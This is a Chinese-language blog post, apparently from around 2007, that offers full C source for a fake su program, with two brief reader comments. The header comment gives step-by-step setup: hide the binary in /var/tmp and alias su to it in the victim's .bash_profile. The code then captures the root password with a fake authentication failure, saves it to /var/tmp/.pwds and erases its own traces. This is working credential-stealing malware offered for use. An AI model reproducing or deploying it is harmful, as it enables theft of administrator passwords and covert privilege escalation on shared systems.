linux下记录su密码的代码

  1. /* 
  2.  * kpr-fakesu.c V0.9beta167 ;P 
  3.  * by koper <koper@linuxmail.org> 
  4.  * 
  5.  * Setting up: 
  6.  * admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c 
  7.  * admin@host:~$ mv .su /var/tmp/.su 
  8.  * admin@host:~$ cp .bash_profile .wgetrc 
  9.  * admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile 
  10.  * admin@host:~$ logout 
  11.  * *** LOGIN *** 
  12.  * admin@host:~$ su 
  13.  * Password: 
  14.  * su: Authentication failure 
  15.  * Sorry. 
  16.  * admin@host:~$ su 
  17.  * Password: 
  18.  * root@host:~# logout 
  19.  * admin@host:~$ cat /var/tmp/.pwds 
  20.  * root:dupcia17 
  21.  * admin@host:~$ 
  22.  * 
  23.  * /bin/su sends various failure information depending on the OS ver. 
  24.  * Please modify the source to make it "fit" ;) 
  25.  * 
  26.  */  
  27.   
  28. #include <stdio.h>  
  29. #include <stdlib.h>  
  30. #include <unistd.h>  
  31.   
  32. main(int argc, char *argv[]){  
  33.   
  34. FILE *fp;  
  35. char *user;  
  36. char *pass;  
  37. char filex[100];  
  38. char clean[100];  
  39.   
  40. sprintf(filex,"/var/tmp/.pwds");  
  41. sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/sichunfeng/.wgetrc /home/sichunfeng/.bash_profile");  
  42. if(argc==1) user="root";  
  43. if(argc==2) user=argv[1];  
  44. if(argc>2){  
  45.    if(strcmp(argv[1], "-l")==0)  
  46.      user=argv[2];  
  47.    else user=argv[1];}  
  48.   
  49. fprintf(stdout,"Password: ");  
  50. pass=getpass ("");  
  51. system("sleep 3");  
  52. fprintf(stdout,"su: Authentication failure\nSorry.\n");  
  53.   
  54. if ((fp=fopen(filex,"w")) != NULL)  
  55.   {  
  56.   fprintf(fp, "%s:%s\n", user, pass);  
  57.   fclose(fp);  
  58.   }  
  59.   
  60. system(clean);  
  61. system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");  
  62. }

关键词: freebsd , linux

上一篇: MySQL CLUSTER(集群)系列
下一篇: Cisco设备做流量监控的方法

相关文章
访客评论
#1
回复 Byron 2007-08-27, 17:09:15
哈你就折腾吧..就是一假的su命令...
查看log日志,你就完蛋了..
#2
回复 4mxku 2007-08-27, 19:21:43
呵呵,老潘说的是,只是用于某种特定的情况.
发表评论

评论内容 (必填):